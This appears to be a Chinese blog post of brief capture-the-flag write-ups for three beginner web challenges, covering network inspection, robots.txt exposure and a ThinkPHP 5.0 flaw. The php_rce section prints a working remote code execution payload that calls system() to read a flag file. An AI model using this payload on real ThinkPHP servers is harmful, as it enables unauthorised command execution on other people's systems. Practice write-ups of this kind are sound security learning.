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baby_web

EMMMM，这就是一个签到题~

解题方法：

F12→Networks→刷新抓包→完成

https://blog.csdn.net/weixin_46245322
https://blog.csdn.net/weixin_46245322/category_9872516.html
https://so.csdn.net/so/search/s.do?q=%25E4%25BF%25A1%25E6%2581%25AF%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_46245322/article/details/105319340
https://blog.csdn.net/weixin_46245322/category_9872516.html


Training-WWW-Robots

 

看题目可以知道这道题考的是爬虫协议（robots.txt文件）的知识

打开网页，果然~

https://baike.baidu.com/item/robots%25E5%258D%258F%25E8%25AE%25AE/2483797?fromtitle=robots.txt&fromid=9518761


他在网页里还暗示了一下，Sometimes these files reveal the directory structure instead protecting the content from being crawled.
（有时这些文件暴露了目录结构，而不是保护内容被抓取。）

好吧！我们直接打开robots.txt看看吧

好嘛~ 够直接的。。。

接下来就没啥说的，直接访问fl0g.php这个页面就可以了

到这里我们就拿到了这道题的FLAG!



 

推荐相关文章

《关于robots.txt文件的安全问题》

《robots.txt文件问题攻略大全》

 

php_rce

 

打开后，提示使用的thinkphp v5.0版本

https://www.hxinq.com/detail-39-10-1.html
http://www.seo-6.com/seoyh/seojjzl/177.html


然后根据题目提示直接谷歌thinkphp rce漏洞,推荐文章《THINKPHP 5.X RCE 漏洞分析与利用总结》

然后直接构造payload

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system(
"cat%20../../../flag");%27

得到FLAG!

 

相关文章推荐：

《说说RCE那些事儿》

https://0kee.360.cn/blog/thinkphp-5-x-rce-%25e6%25bc%258f%25e6%25b4%259e%25e5%2588%2586%25e6%259e%2590%25e4%25b8%258e%25e5%2588%25a9%25e7%2594%25a8%25e6%2580%25bb%25e7%25bb%2593/
http://drops.xmd5.com/static/drops/tools-3786.html


《ThinkPHP5 RCE漏洞重现及分析》

点进来的小伙伴想学习更多网络安全知识就请关注我的公众号吧�

https://www.freebuf.com/vuls/191847.html
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